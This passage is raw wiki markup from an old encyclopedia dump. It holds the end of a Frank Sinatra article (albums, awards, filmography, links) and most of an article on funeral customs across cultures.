*&quot;[[It Was a Very Good Year]]&quot; and &quot;[[Summer Wind]]&quot;, which capture his mid-1960s persona of sentimental nostalgia
*&quot;[[That's Life (song)|That's Life]]&quot;, &quot;[[My Way (song)|My Way]]&quot;, and &quot;[[Theme from New York, New York|New York, New York]]&quot;, which convey his late-stage attitude of bombastic defiance.

Three of his songs made #1 on the [[Billboard Hot 100]] even after the advent of the rock and roll era: &quot;Learnin' the Blues&quot; (1955), &quot;[[Strangers in the Night]]&quot; (1966), and &quot;[[Somethin' Stupid]]&quot; (1967), the last a duet with daughter Nancy.

Of all his many albums,  ''[[At the Sands with Count Basie]]'', which was recorded live in [[Las Vegas, Nevada|Las Vegas]] in 1966, with Sinatra in his prime, backed by [[Count Basie]]'s big band, remains his most popular and is still a big seller.  Whether in nightclubs, casinos, arenas, or stadiums, Sinatra was one of the most mesmeric entertainers of the Twentieth Century, capable of turning the largest venue into a simulacrum of an intimate club. There are, however, few recordings or videos of his concerts.  In addition to the Sands performance with Basie, three performances of Sinatra at the very peak of his career were captured: ''[[With Red Norvo Quintet: Live In Australia, 1959]]'', ''Sinatra '57 In Concert'', a performance in [[Seattle, Washington|Seattle]] with an orchestra conducted by [[Nelson Riddle]] and ''Sinatra and Sextet: Live in Paris'', recorded in June of 1962.

[[Image:Weesmallhours.jpeg|right|thumb|200px|''In the Wee Small Hours'', 1955 — an early concept album.]]
Sinatra is also credited with putting out perhaps the first [[concept album]]s.  1955's ''[[In the Wee Small Hours]]'' is the prime example:  a set of songs specifically recorded for the album, using only ballads, organized around a central mood of late-night isolation and aching lost love (supposedly due to his separation from Ava Gardner), with a now-classic album cover reflecting the theme.  ''[[Rolling Stone]]'' magazine later named ''In the Wee Small Hours'' as #100 [http://www.rollingstone.com/news/story/_/id/6598220] on their list of the 500 best albums of all time.  

The following year's ''[[Songs For Swingin' Lovers]]'' took an alternate tack, recording existing [[pop standards]] in a hipper, jazzier fashion, revealing an overall exuberance; ''Rolling Stone'' placed it #306 [http://www.rollingstone.com/news/story/_/id/6599187] on the above list.

It was the advent of the long-playing record that opened the door to these famous concept albums of the 1950s, but Sinatra's first efforts in this direction go back to the Columbia years and ''[[The Voice Of Frank Sinatra|The Voice]]'', when the 78 rpm disc made &quot;album&quot; less of a metaphor than it would become with the single-disc LPs of the 1950s.

Other Sinatra milestone albums include 1965's ''[[September of My Years]]'', which according to critic [[Stephen Holden]], &quot;summed up the punchy sentimentality of a whole generation of American men,&quot; 1973's comeback album ''[[Ol' Blue Eyes Is Back]]'', and 1980's ''[[Trilogy: Past Present Future]]'', an ambitious [[triple album]] using three arrangers that attempted to portray the past, present, and future of his career.  For many Sinatra admirers, 1981's ''[[She Shot Me Down]]'' is the last great Sinatra album. A collection of what Sinatra called &quot;saloon songs&quot;, it includes [[Alec Wilder]]'s &quot;A Long Night&quot;, in a performance that can stand the test of comparison with the work Sinatra did in his Capitol years.

===Awards and legacy===
Sinatra won ten [[Grammy Award]]s during his career, including [[Grammy Award for Album of the Year|Album of the Year]] for ''[[Come Dance With Me]]'' in 1959, ''[[September of My Years]]'' in 1965, and ''[[A Man and His Music]]'' in 1966, and [[Grammy Award for Record of the Year|Record of the Year]] for &quot;[[Strangers in the Night]]&quot; in 1966.  (The Grammy Awards only began in 1958, after two peaks of Sinatra's recording career had already happened.)

In addition, Sinatra was named the ''[[Down Beat]]'' readers' poll Male Singer of the Year sixteen times between 1941 and 1966 and the Personality of the Year six times between 1954 and 1959, and was named the ''Down Beat'' critics' poll Male Singer of the Year twice, in 1955 and 1957.  Sinatra was also named the ''[[Playboy (magazine)|Playboy]]'' Jazz All-Star Poll Male Vocalist of the Year seven times between 1957 and 1963. [http://www.avalon.net/~bstuder/theman.htm]

In 2001 [[BBC Radio 2]] named Sinatra as the &quot;Greatest Voice of the Twentieth Century&quot;. [http://news.bbc.co.uk/1/hi/entertainment/music/1281522.stm] 

Sinatra was inducted into the [[Big Band and Jazz Hall of Fame]] in 1980.

Stephen Holden wrote for the 1983 ''[[Rolling Stone Record Guide]]'':
:&quot;Frank Sinatra's voice ''is'' pop music history.  [...]  Like Presley and Dylan—the only other white male American singers since 1940 whose popularity, influence, and mythic force have been comparable—Sinatra will last indefinitely.  He virtually invented modern pop song phrasing.&quot;

Two decades later, radio personality and musician [[Jonathan Schwartz (radio)|Jonathan Schwartz]]'s assessment in a 2005 book review for the ''[[New York Observer]]'' showed that Sinatra's musical reputation had not diminished:
:&quot;I believe, based on a lifetime of consideration, that Frank Sinatra was the greatest interpretive musician this country has ever produced.&quot;

==Discography==
*[[Frank Sinatra discography|Chronological list of songs and albums recorded by Frank Sinatra]]
*[[Alphabetical list of songs recorded by Frank Sinatra]]

==Filmography==
*''Major Bowes Amateur Theatre of the Air'' ([[1935]]) (short subject)
*''Las Vegas Nights'' ([[1941]])
*''Ship Ahoy'' ([[1942]])
*''[[Reveille with Beverly]]'' ([[1943]])
*''[[Show Business at War]]'' ([[1943]]) (short subject)
*''Upbeat in Music'' ([[1943]]) (short subject) (scenes deleted)
*''Higher and Higher'' ([[1944]])
*''Road to Victory'' ([[1944]]) (short subject)
*''Step Lively'' ([[1944]])
*''The All-Star Bond Rally'' ([[1945]]) (short subject)
*''[[Anchors Aweigh (film)|Anchors Aweigh]]'' ([[1945]])
*''[[The House I Live In]]'' ([[1945]]) (short subject)
*''MGM Christmas Trailer'' ([[1945]]) (short subject)
*''Till the Clouds Roll By'' ([[1946]])
*''[[It Happened in Brooklyn]]'' ([[1947]])
*''Screen Snapshots: Out-of-This-World Series'' ([[1947]]) (short subject)
*''Lucky Strike Salesman's Movie 48-A'' ([[1948]]) (short subject)
*''The Miracle of the Bells'' ([[1948]])
*''The Kissing Bandit'' ([[1948]])
*''Take Me Out to the Ball Game'' ([[1949]])
*''[[On the Town]]'' ([[1949]])
*''Double Dynamite'' ([[1951]])
*''Meet Danny Wilson'' ([[1952]])
*''Screen Snapshots: Hollywood Night Life'' ([[1952]]) (short subject)
*''[[From Here to Eternity]]'' ([[1953]])
*''[[Suddenly]]'' ([[1954]])
*''[[Young at Heart (movie)|Young at Heart]]'' ([[1954]])
*''[[Not as a Stranger]]'' ([[1955]])
*''[[Finian's Rainbow]]'' ([[1955]]) (animated musical, recorded songs with Louis Armstrong and Ella Fitzgerald, film never completed)
*''[[Guys and Dolls]]'' ([[1955]])
*''The Tender Trap'' ([[1955]])
*''[[The Man with the Golden Arm]]'' ([[1955]])
*''[[Carousel]]'' ([[1956]]) (recorded several songs, shot several scenes, walked off set and was replaced by Gordon MacRae)
*''Screen Snapshots: Playtime in Hollywood'' ([[1956]]) (short subject)
*''Meet Me in Las Vegas'' ([[1956]]) (Cameo)
*''[[High Society]]'' ([[1956]])
*''Johnny Concho'' ([[1956]])
*''[[Around the World in Eighty Days]]'' ([[1956]])
*''The Pride and the Passion'' ([[1957]])
*''[[The Joker Is Wild]]'' ([[1957]])
*''[[Pal Joey]]'' ([[1957]])
*''Kings Go Forth'' ([[1958]])
*''[[Some Came Running]]'' ([[1958]])
*''Invitation to Monte Carlo'' ([[1959]]) (documentary)
*''A Hole in the Head'' ([[1959]])
*''Premier Khrushchev in the USA'' ([[1959]]) (documentary)
*''Never So Few'' ([[1959]])
*''[[Can-Can]]'' ([[1960]])
*''[[Ocean's Eleven (1960 film)|Ocean's Eleven]]'' ([[1960]])
*''[[Pepe (film)|Pepe]]'' ([[1960]]) (Cameo)
*''The Devil at Four O'Clock'' ([[1961]])
*''Sergeants 3'' ([[1962]])
*''[[The Road to Hong Kong]]'' ([[1962]]) (Cameo)
*''[[Advise and Consent]]'' ([[1962]]) (voice)
*''[[The Manchurian Candidate]]'' ([[1962]])
*''The List of Adrian Messenger'' ([[1963]]) (Cameo)
*''[[Come Blow Your Horn]]'' ([[1963]])
*''4 for Texas'' ([[1963]])
*''[[Robin and the 7 Hoods]]'' ([[1964]])
*''A Tribute to the Will Rogers Memorial Hospital'' ([[1965]]) (short subject)
*''None But the Brave'' ([[1965]]) (also producer and director)
*''[[Von Ryan's Express]]'' ([[1965]])
*''Marriage on the Rocks'' ([[1965]])
*''[[The Oscar]]'' ([[1966]]) (Cameo) 
*''[[Cast a Giant Shadow]]'' ([[1966]])
*''Assault on a Queen'' ([[1966]])
*''Think Twentieth'' ([[1967]]) (short subject)
*[[The Naked Runner]] ([[1967]])
*''Tony Rome'' ([[1967]])
*''The Detective'' ([[1968]])
*''Lady in Cement'' ([[1968]])
*''Dirty Dingus Magee'' ([[1970]])
*''[[That's Entertainment!]]'' ([[1974]])
*''Rene Simard in Japan'' ([[1974]]) (documentary)
*''The First Deadly Sin'' ([[1980]])
*''[[Cannonball Run II]]'' ([[1984]])
*''Listen Up: The Lives of Quincy Jones'' ([[1990]]) (documentary)
*''In Person'' ([[1993]]) (voice) (short subject)

==Samples==
*[[Media:Saturday Night.ogg|Download sample]] of &quot;Saturday Night (Is the Loneliest Night of the Week)&quot;

==See also==
*[[List of popular music performers]]
*[[Sinatra Doctrine]]
*[[Best selling music artists]]
*[[Media:1920_census_Sinatra_Gavarante.gif|1920 US Census]] with Sinatras
*[[Media:1930_census_Sinatra_Gavarante.gif|1930 US Census]] with Sinatras
*[[1992]] film [[Sinatra (1992 film)|Sinatra]]

==References==
* ''[[Rolling Stone Record Guide|The New Rolling Stone Record Guide]]'', Rolling Stone Press, 1983.
* [http://www.jazzsingers.com/FrankSinatra/ &quot;Frank Sinatra — Through the Lens of Jazz&quot;, ''Jazz Times Magazine'', May 1998]
* Friedwald, Will.  ''Sinatra! The Song Is You: A Singer's Art''.  Da Capo Press, 1999.
* Granata, Charles.  ''Sessions with Sinatra: Frank Sinatra and the Art of Recording''.  Chicago Review Press, 1999.
* Hamill, Pete.  ''Why Sinatra Matters''. Back Bay Books, 2003.
* Lahr, John. ''Sinatra''.  Random House, 1997.
* Mustazza, Leonard, ed. ''The Frank Sinatra Reader''. Oxford University Press, 1997.
* Mustazza, Leonard, ed.  ''Frank Sinatra and Popular Culture''.  Praeger, 1998.
* Pugliese, S., ed.  ''Frank Sinatra: &quot;history, Identity, And Italian American Culture &quot;''.  Palgrave, 2004.
* Rockwell, John. ''Sinatra: An American Classic''.  Rolling Stone, 1984
&lt;!-- * Sinatra's bodyguard's autobiography. --&gt;

==External links==
{{Commons|Frank Sinatra}}
{{wikiquotepar|Frank Sinatra}}
* [http://www.sinatrafamily.com Sinatra family site]
* [http://www.sinatra-main-event.de Sinatra - The Main Event]
* [http://SinatraGuide.com Sinatra! The Complete Guide] An internet guide to all of Frank's works
* [http://www.rareexception.com/Garden/RatPack/Sinatra/Frank.php Fun Sinatra Facts] Learn to talk like Sinatra
*{{imdb name|id=0000069|name=Frank Sinatra}}
* [http://www.strictlysinatra.com Strictly Sinatra] A tribute To Frank Sinatra
* [http://foia.fbi.gov/foiaindex/sinatra.htm FBI's Frank Sinatra file]
* [http://www.sinatraarchive.com/ref/songlist.htm List of songs sung by Frank Sinatra]
* [http://tesla.liketelevision.com/liketelevision/tuner.php?channel=134&amp;format=movie&amp;theme=guide Watch Frank Sinatra in The Man with the Golden Arm]
* [http://lyrics.rare-lyrics.com/F/Frank-Sinatra.html Frank Sinatra Lyrics Collection]
* [http://thisamericanlife.com/pages/descriptions/02/205.html A radio show containing an interview with Frank Sinatra, Junior's kidnapper]
* [http://www.bigbandsandbignames.com Sinatra information and 1945 performance review]
* [http://www.avalon.net/~bstuder/sinatra.html Sinatra 101] Concisely written guide to best of Sinatra
* [http://rsparlourtricks.blogspot.com/2005/12/sinatra.html Ron Schuler's Parlour Tricks: Sinatra]

{| align=&quot;center&quot; cellspacing=&quot;0&quot; class=&quot;toccolours&quot; width=&quot;70%&quot; style=&quot;clear:both;text-align:center&quot;
|- style=&quot;background:#ccf;&quot;
| width=&quot;25&quot; | &amp;nbsp;
| width=&quot;25&quot; | &amp;nbsp;
| width=&quot;25&quot; | &amp;nbsp;
! style=&quot;font-size: 120%;&quot; | '''The Great American Songbook'''
| width=&quot;25&quot; | &amp;nbsp;
| width=&quot;25&quot; | &amp;nbsp;
| width=&quot;25&quot; | &amp;nbsp;
|-
| colspan=&quot;7&quot; |
Songwriters: [[Cole Porter]], [[Irving Berlin]], [[George Gershwin]], [[Ira Gershwin]], [[Harold Arlen]], [[Johnny Mercer]], [[Jerome Kern]], [[Richard Rodgers]], [[Lorenz Hart]], [[Duke Ellington]], [[Hoagy Carmichael]], [[Oscar Hammerstein II]], [[Dorothy Fields]], [[Cy Coleman]], [[Jimmy McHugh]], [[Johnny Mandel]]

Singers: [[Louis Armstrong]], [[Fred Astaire]], [[Tony Bennett]], [[Michael Buble]], [[Betty Carter]], [[Blossom Dearie]], [[Billy Eckstine]], [[Michael Feinstein]], [[Ella Fitzgerald]], [[Billie Holliday]], [[Shirley Horn]], [[Lena Horne]], [[Diana Krall]], [[Carmen McRae]], [[Joni Mitchell]], [[Nina Simone]], [[Frank Sinatra]], [[Rod Stewart]], [[Mel Torme]], [[Dinah Washington]], [[Robbie Williams]], [[Sarah Vaughan]]

[[Category:1915 births|Sinatra, Frank]]
[[Category:1998 deaths|Sinatra, Frank]]
[[Category:American film actors|Sinatra, Frank]]
[[Category:American male singers|Sinatra, Frank]]
[[Category:Best Actor Oscar Nominee|Sinatra, Frank]]
[[Category:Best Supporting Actor Oscar|Sinatra, Frank]]
[[Category:Entertainers who died in their 80s|Sinatra, Frank]]
[[Category:Knights of Malta|Frank Sinatra]]
[[Category:Gaming Hall of Fame|Sinatra, Frank]]
[[Category:High school dropouts|Sinatra, Frank]]
[[Category:Italian-Americans|Sinatra, Frank]]
[[Category:Mafia associates|Sinatra, Frank]]
[[Category:New Jersey musicians|Sinatra, Frank]]
[[Category:People from New Jersey|Sinatra, Frank]]
[[Category:Presidential Medal of Freedom recipients|Sinatra, Frank]]
[[Category:Roman Catholic musicians|Sinatra, Frank]]
[[Category:Sicilian-Americans|Sinatra, Frank]]
[[Category:Traditional pop music singers|Sinatra, Frank]]

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  </page>
  <page>
    <title>Funeral</title>
    <id>11182</id>
    <revision>
      <id>42054684</id>
      <timestamp>2006-03-03T14:12:37Z</timestamp>
      <contributor>
        <ip>68.38.84.110</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{otheruses|[[Funeral (disambiguation)]]}}
[[Image:20000 graveyard.jpg|thumb|Underwater funeral in ''[[Twenty Thousand Leagues Under the Sea]]'']]
A '''funeral''' is a [[ceremony]] marking a person's [[death]]. Funerary customs comprise the complex of beliefs and practices used by a culture to remember the dead, from the funeral itself, to various monuments, [[prayer]]s, and rituals undertaken in their honor.  These customs vary widely between cultures, and between religious affiliations within cultures.  In some cultures the dead are worshipped; this is commonly called [[ancestor worship]].  The word comes from the [[Latin]] ''funus'', which had a variety of meanings, including the corpse and the funerary rites themselves.

Funeral rites are as old as the human race itself.  In the [[Shanidar]] [[cave]] in [[Iraq]], [[Neanderthal]] [[skeleton]]s have been discovered with a characteristic layer of [[pollen]], which suggests that Neanderthals buried the dead with gifts of [[flower]]s. This has been interpreted as suggesting that Neanderthals believed in an [[afterlife]], and in any case were aware of their own mortality and were capable of [[mourning]]. 

==Funerals in contemporary North America==
===Traditional funerals===
Within the [[United States]] and [[Canada]], in most cultural groups and regions, the funeral [[ritual]]s can be divided into three parts:

====Visitation====
At the ''visitation'' (also called a &quot;[[viewing]]&quot; or &quot;[[wake (ceremony)|wake]]&quot;) the [[embalming|embalmed]] body of the deceased person (or decedent) is placed on display in the [[coffin]] (also called a casket).

At the viewing, the friends and relations greet the more distant relatives and friends of the dead person(s) in a social gathering with little in the way of ritual. The viewing often takes place on one or two evenings before the funeral.

The only prescribed aspects of this gathering are that frequently the attendees sign a book kept by the deceased's survivors to record who attended and that the attendees are expected to view the deceased's body in the coffin. In addition, a family may choose to display photographs taken of the deceased person during his/her life (often, formal portraits with other family members and candid pictures to show &quot;happy times&quot;), prized possessions and other items representing his/her hobbies and/or accomplishments.

The viewing is either &quot;open casket&quot;, in which the embalmed body of the deceased has been clothed and treated with cosmetics for display; or &quot;closed casket&quot;, in which the coffin is closed. The coffin may be closed if the body was too badly damaged because of an accident or fire, deformed from illness or if someone in the group is emotionally unable to cope with viewing the corpse. However, this step is foreign to Judaism; Jewish funerals are held soon after death, and the corpse is never displayed.  As well, Jewish law forbids anyone to embalm the body of the deceased.  (''See also [[Jewish bereavement]].'')

The decedent's closest friends and relatives who are unable to attend frequently send [[flower]]s to the viewing, with the exception of a Jewish Funeral[http://www.jdcc.org/sepoct97/doc1.htm], where flowers would not be appropriate.  The viewing typically takes place at a [[funeral home]], which is equipped with gathering rooms where the viewing can be conducted, although the viewing may also take place at a [[church]]. The viewing may end with a prayer service; in the [[Roman Catholic Church|Catholic]] funeral, this may include a [[rosary]].

====Funeral====
A [[memorial service]], often called a funeral and often officiated by [[clergy]] from the decedent's or bereaved's [[church]] or [[religion]]. A funeral may take place at either a [[funeral home]] or [[church]].

Funeral services include [[prayer]]s; readings from the [[Bible]] or other sacred texts; [[hymn]]s (sung either by the attendees or a hired vocalist); and words of comfort by the [[clergy]]. Frequently, a relative or close friend will be asked to give a [[eulogy]], which details happy memories and accomplishments.

Tradition also allows the attendees of the [[memorial service]] to have one last opportunity to view the decedent's body and say good-bye; the immediate family (siblings (and their spouses); followed by the decedent's spouse, parents and children) are always the very last to view their loved one before the coffin is closed. This opportunity can take place immediately before the service begins, or at the very end of the service.

''Note: In some [[religious denomination|religious denominations]], for example, [[Catholicism|Roman Catholic]] and [[Anglicanism|Anglican]], eulogies are prohibited or discouraged during this service, in order to preserve respect for traditions.''

====Burial service====
A [[burial]] service, conducted at the side of the [[grave]], [[tomb]], [[mausoleum]] or [[cremation|crematorium]], at which the body of the decedent is buried or cremated at the conclusion.

Sometimes, the burial service will immediately follow the funeral, in which case a funeral procession (the hearse, followed by the immediate family and then the other attendees) travels from the site of the [[memorial service]] to the burial site. Other times, the burial service takes place at a later time, when the final resting place is ready.

If the decedent served in a branch of the [[Armed forces]], [[military rites]] are often accorded at the burial service.

In many religious traditions, [[pallbearer|pallbearers]], usually males who are close relatives (such as cousins, nephews or grandchildren) or friends of the decedent, will carry the casket from the chapel (of a [[funeral home]] or [[church]]) to the hearse, and from the hearse to the site of the [[burial]] service. The [[pallbearer|pallbearers]] often sit in a special reserved section during the [[memorial service]].

According to most religions, coffins are kept closed during the burial ceremony. In Eastern Orthodox funerals, the coffins are reopened just before burial to allow loved ones to look at the deceased one last time and give their final farewells.

====Luncheon====
In many traditions, a meal or other gathering following the burial service, either at the decedent's [[church]] or another off-site location.

For Irish descendants, a wake is often quite extended and may include drinking and singing. As it is a type of party to celebrate the person's life, it will often be referred to as 'waking' the person who has died. An Irish Wake usually lasts 3 full days. On the day after the wake the funeral takes place. Family members and friends will ensure that there is always someone awake with the body, traditionally saying prayers.

====Etiquette====
Generally speaking, the number of people who are considered obliged to attend each of these three rituals by [[etiquette]] decreases at each step:

*  Distant relatives and acquaintances may be called upon to attend the visitation.
* The decedent's closer relatives and local friends attend the funeral or memorial service, and subsequent burial (if it is held immediately after the memorial service).
* If the [[burial]] is on a day other than the funeral, only the descendant's closest relatives and friends attend the burial service (although if the burial service immediately follows the funeral, all attendees of the memorial service are asked to attend).

Also, etiquette dictates the bereaved and other attendees at a funeral wear semi-formal clothing - such as a suit and tie for men or a dress for women - in a darker color (usually, gray, dark blue or black). Women who are grieving the death of their husband or a close boyfriend sometimes wear a veil to conceal the face, although the veil is not common now.

===Private services===
On occasion, the family of the deceased may wish to have only a very small service, with just the decedent's closest family members and friends attending. This type of ceremony means it is closed to the public. One may only go to the funeral if he or she was invited. In this case, a private funeral service is conducted. Reasons vary but often include:

* The decedent was an infant (possibly, they may have been [[stillborn]]) or very aged and therefore having few surviving family members or friends.
* The decedent may be a crime victim or a convicted criminal who was serving a prison sentence. In this case, the service is made private either to avoid unwanted media coverage (especially with a crime victim); or to avoid unwanted intrusion (especially if the decedent was convicted of murder or child molestation).
* The family does not feel able to endure a traditional service (due to emotional shock) or simply wants a quiet, simple funeral with only the most important people of the decedent's life in attendance.

In some cases (particularly the latter), the family may schedule a public memorial service at a later time.

===Memorial services===
Increasingly, traditional funerals are being replaced by memorial services. These are often less formal than a traditional funeral, and include such things as eulogies, music and fellowship. A member of the [[clergy]] often participates in these services, usually to open and close the proceedings and offer [[prayers]] and a brief message of comfort.

===Non-traditional funerals===

====New Orleans &quot;jazz funeral&quot;====
A unique funeral tradition in the United States occurs in [[New Orleans]], [[Louisiana]]. The unique tradition arises from African spiritual practices, French [[Wiktionary:martial|martial]] musical traditions and uniquely African-American cultural influences. A typical [[jazz funeral]] begins with a march by the family, friends, and a [[jazz]] band from the home, funeral home or church to the cemetery. Throughout the march, the band plays very somber [[dirge]]s. Once the final ceremony has taken place, the march proceeds from the cemetery to a gathering place, and the solemn music is replaced by loud, upbeat, raucous music and dancing where onlookers join in to celebrate the life of the deceased.  This is the origin of the New Orleans dance known as the &quot;[[second line]]&quot; where celebrants do a dance-march, frequently while raising the hats and umbrellas brought along as protection from intense New Orleans weather and waving handkerchiefs above the head that are no longer being used to wipe away tears.

====&quot;Green&quot; funeral====
Those with concerns about the effects on the environment of traditional burial or cremation may choose to be buried in a fashion more suited to their beliefs. They may choose to be buried in a coffin made of cardboard or other easily-biodegradable materials. Further, they may choose their final resting place to be in a park or woodland and may have a tree planted over their grave as a contribution to the environment and a remembrance.

==Funerals in East Asia==

In most [[East Asian]] and many [[Southeast Asian]] cultures, the wearing of [[white]] is symbolic of death. In these societies, white or off-white robes are traditionally worn to symbolize that someone has died and can be seen worn among relatives of the deceased during a funeral ceremony. Contemporary Western influence however has meant that dark-colored or [[black]] attire is now often also acceptable for mourners to wear (particularly for those outside the family).  In such cases, mourners wearing dark colors at times may also wear a white or off-white armband.  When a coffin is lowered into the ground the mourners will bow their heads and must not watch the coffin being lowered into the ground.

A traditional Chinese gift to the grieving is a white envelope usually containing money.  This custom is also found in other East and Southeast Asian cultures.

Most funerals in contemporary [[Japanese Funeral|Japan]] are conducted with [[Buddhism|Buddhist]] rites.  Many feature a ritual that bestows a new [[name]] on the deceased; funerary names typically use obsolete or [[archaism|archaic]] [[kanji]] and words, to avoid the likelihood of the name being used in ordinary speech or writing. The new names are typically chosen by a Buddhist priest, after consulting the family of the deceased.  The new name bestowed upon them is the name they will have in the afterlife, where they will train for 49 days to become a disciple of Buddha. Most Japanese are cremated.

==African funerals==

The custom of burying the dead in the floor of dwelling-houses has been to some degree prevalent on the Gold Coast of Africa. The ceremony is purely animist, and apparently without any set ritual.  The main exception is that the females of the family of the deceased and their friends may undergo mournful lamentations.  In some instances they work their feelings up to an ostentatious, frenzy-like degree of sorrow.  The revelry may be heightened by the use of alcohol, of which drummers, flute-players, bards, and singing men may partake.  The funeral may last for as much as a week.  Another custom, a kind of memorial, frequently takes place seven years after the person's death.  These funerals and especially the memorials may be extremely expensive for the family in question.  Cattle, sheep, goats, and poultry, may be offered in remembrance and then consumed in festivities.

Some funerals in Ghana are held with the deceased put in eleborate &quot;fantasy coffins&quot; colored and shaped after a certain object, such as a fish, crab, boat, and even an airplane.

==Ancient funeral rites==

The most simple and natural kind of funeral monuments, and therefore the most ancient and universal, consist in a mound of earth, or a heap of stones, raised over the ashes of the departed: of such monuments mention is made in the Book of Joshua, and in Homer and Virgil.

The place of burial amongst the Jews was never particularly determined. We find that they had burial-places upon the highways, in gardens, and upon mountains. We read, that Abraham was buried with Sarah, his wife, in the cave of Macphelah, in the field of Ephron, and Uzziah, King of Judah, slept with his fathers in the field of the burial which pertained to the kings.

The primitive Greeks were buried in places prepared for that purpose in their own houses; but later they established burial grounds in desert islands, and outside the walls of towns, by that means securing them from disturbance, and themselves from the liability of catching infection from those who had died of contagious disorders.

===Funerals in ancient Rome===
In ancient [[Rome]], the eldest surviving male of the household, the ''[[pater familias]]'', was summoned to the death-bed, where he attempted to catch and inhale the last breath of the descedant.

Funerals of the socially prominent were usually undertaken by professional undertakers called ''libitinarii''. No direct description has been passed down of Roman funeral rites.  These rites usually included a public procession to the tomb or pyre where the body was to be cremated.  The most noteworthy thing about this procession was that the survivors bore [[mask]]s bearing the images of the family's deceased ancestors.  The right to carry the masks in public was eventually restricted to families prominent enough to have held [[curule]] magistracies.  [[Mime]]s, [[dance]]rs, and [[musician]]s hired by the undertakers, as well as professional female mourners, took part in these processions.  Less well to do Romans could join benevolent [[funerary]] societies (''collegia funeraticia'') who undertook these rites on their behalf.

Nine days after the disposal of the body, by burial or cremation, a feast was given (''cena novendialis'') and a libation poured over the grave or the ashes. Since most Romans were cremated, the ashes were typically collected in an [[urn]] and placed in a niche in a collective tomb called a ''columbarium'' (literally, &quot;[[dovecote]]&quot;). During this nine day period, the house was considered to be tainted, ''funesta'', and was hung with [[Taxus baccata|yew]] or [[Mediterranean Cypress|cypress]] branches to warn bypassers. At the end of the period, the house was swept in an attempt to purge it of the dead person's [[ghost]].

Several Roman holidays commemmorated a family's dead ancestors, including the ''[[Parentalia]]'', held [[February 13]] through [[February 21|21]], to honour the family's ancestors; and the ''[[Feast of the Lemures|Lemuria]]'', held on [[May 9]], [[May 11|11]], and [[May 13|13]], in which ghosts (''[[larvae|larvæ]]'') were feared to be active, and the ''pater familias'' sought to appease them with offerings of [[bean]]s.

The Romans prohibited burning or burying in the city, both from a sacred and civil consideration, so that the priests might not be contaminated by touching a dead body, and so that houses would not be endangered by funeral fires.

The Romans commonly built tombs for themselves during their lifetime. Hence these words frequently occur in ancient inscriptions, V.F. Vivus Facit, V.S.P. Vivus Sibi Posuit. The tombs of the rich were usually constructed of marble, the ground enclosed with walls, and planted round with trees. But common sepulchres were usually built below ground, and called hypogea. There were niches cut out of the walls, in which the urns were placed; these, from their resemblance to the niche of a pigeon-house, were called columbaria.

===Funerals in Scotland===
An old funeral rite from the [[Scotland|Scottish Highlands]] is to bury the deceased with a wooden plate resting on his chest. In the plate were placed a small amount of earth and [[salt]], to represent the future of the deceased. The earth hinted that the body would decay and become one with the earth, while the salt represented the [[soul]], which does not decay. This rite was known as &quot;earth laid upon a corpse&quot;.

==Final disposition of the dead==
[[Image:Graves-at-Green-Wood.jpg|thumb|right|220px|Graves at [[Green-Wood Cemetery]], [[Brooklyn, New York]]]] 
Some cultures place the dead in [[tomb]]s of various sorts, either individually, or in specially designated tracts of land that house tombs.  [[Burial]] in a [[grave]]yard is one common form of tomb.  In some places, burials are impractical because the ground water is too high; there tombs are placed above ground, as was the case in [[New Orleans, Louisiana]].  Elsewhere, a separate building for a tomb is usually reserved for the socially prominent and wealthy.  Especially grand above-ground tombs are called [[mausoleum]]s.  Other buildings used as tombs include the [[crypt]]s in churches; burial in these places is again usually a privilege given to the socially prominent dead. In more recent times, however, this has often been forbidden by hygiene laws.

Burial was not always permanent.  In some areas, burial grounds needed to be re-used because of limited space.  In these areas, once the dead have [[decomposition|decomposed]] to [[skeleton]]s, the bones are removed; after their removal they can be placed in an [[ossuary]].

&quot;[[Burial at sea]]&quot; means the deliberate disposal of a corpse into the [[ocean]], wrapped and tied with weights to make sure it sinks.  It is a common practice in [[navy|navies]] and sea-faring nations; in the [[Church of England]], special forms of funeral service were added to the [[Book of Common Prayer]] to cover it.  Science fiction writers have frequently analogized with &quot;[[Space burial|Burial in space]]&quot;.

[[Image:StJosephsChapelMausoleum.jpg|thumbnail|left|220px|St. Joseph's Chapel [[Mausoleum]] at [[Mount Olivet Cemetery (Dubuque)|Mount Olivet Cemetery]] in [[Key West, Iowa|Key West]] (rural [[Dubuque, Iowa|Dubuque]]), [[Iowa]].  This mausoleum has traditional mausoleum crypts as well as [[columbarium]] niches for [[cremation|cremated]] remains.]]
[[Cremation]], also, is an old custom; it was the usual mode of disposing of a corpse in ancient [[Rome]].  [[Viking]]s were occasionally cremated in their [[longship]]s, and afterwards the location of the site was marked with [[standing stone]]s.  In recent years, despite the objections of some religious groups, cremation has become more and more widely used.  [[Orthodox Judaism]] and the [[Eastern Orthodox Church]] forbid cremation, as do most [[Islam|Muslims]]. Orthodox Judaism forbids cremation according to Jewish law (''[[Halakha]]'') believing that the soul of a cremated person cannot find its final repose. The [[Roman Catholic Church]] forbade it for many years.  But since 1963 the church has allowed it so long as it is not done to express disbelief in bodily resurrection.  The church specifies that cremated remains are either buried or entombed.  They do not allow cremated remains to be scattered or kept at home.  Many Catholic cemeteries now have columbarium niches for cremated remains, or specific sections for those remains.  Some denominations of [[Protestantism]] allow cremation, the more conservative denominations generally do not.

Hindus consider the funeral as the final &quot;samskar&quot; or ritual of life.
Cremation is generally mandatory for all hindus, except for saints, children under the age of 7 years. Cremation is seen as the only way in which all the five elements of fire, water, earth, air and space would be satisfied by returning the body to these elements as after cremation the ashes are poured into the sacred ganges or into the sea.
After death the body of the deceased is placed on the ground with the head of the deceased pointing towards south which is considered the direction of the dead. The body is annointed with sacred items such as sandalwood paste and holy ashes, tulsi (basil) leaves, water from the ganges. The eldest son would wisper &quot;Om namah shivay&quot; or &quot;Om namo bhagavate vasudevaya&quot; near the ear of the deceased. An oil lamp is lit besides the deceased and chapters from the holy bhagavad gita or garud purana are recited. Traditionally the body has to be cremated within 24 hours after death, as keeping the body longer is considered to lead to impurity and hinder the passage of the dead to afterlife.
Hence before cremation as the body lies in state, mimial physical contact with the body is observed.
A priest is called in to lead the formal religious rituals, after which the body is taken to the cremation ground, where the eldest son normally lights the funeral pyre, this act is considered to be the most important duty of a son as it is believed that he leads his parents from this world into moksha.
Immediately after the cremation the family of the deceased all have to take a purifying bath and a 12  day mourning period commences which ends on the morning of the thirteenth day on which a Shraddh ceremony is conducted in which offerings are given to ancestors and other gods in order to grant liberation or moksha to the deceased.


